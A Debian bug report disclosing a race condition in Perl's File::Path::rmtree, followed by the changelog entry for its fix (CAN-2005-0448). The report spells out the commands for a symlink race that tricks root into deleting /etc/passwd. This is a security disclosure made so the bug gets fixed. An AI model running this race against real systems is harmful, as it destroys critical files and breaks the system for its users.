Package: perl-modules
Version: 5.6.1-8.7
Severity: critical
File: /usr/share/perl/5.6.1/File/Path.pm
Tags: security
Justification: root security hole

Following on from the "File::Path::rmtree makes setuid" issue, I notice
that rmtree may be tricked into removing arbitrary files.

Example of attack: suppose we know that root uses rmtree to clean up
/tmp directories. Attacker prepares things:

  mkdir /tmp/psz
  perl -e 'open F, ">/tmp/psz/$_" foreach (1..1000)'
  touch /tmp/psz/passwd

While root is busy working on /tmp/psz (and this can be made as slow as
we like), attacker does:

  mv /tmp/psz /tmp/dummy
  ln -s /etc /tmp/psz

Root will then remove /etc/passwd.

Maybe it should be documented that rmtree must only be used if you can
be sure to have exclusive access to the tree.

Cheers,

Changes:

 .
   * SECURITY [CAN-2005-0448]: re-rewrite File::Path::rmtree to avoid race
     condition which allows an attacker with write permission on
     directories in the tree being removed to make files setuid or to
     remove arbitrary files (Closes: #286905, #286922).
     .
     The race condition was fixed in 5.8.4-7 but re-introduced in 5.8.8-1.
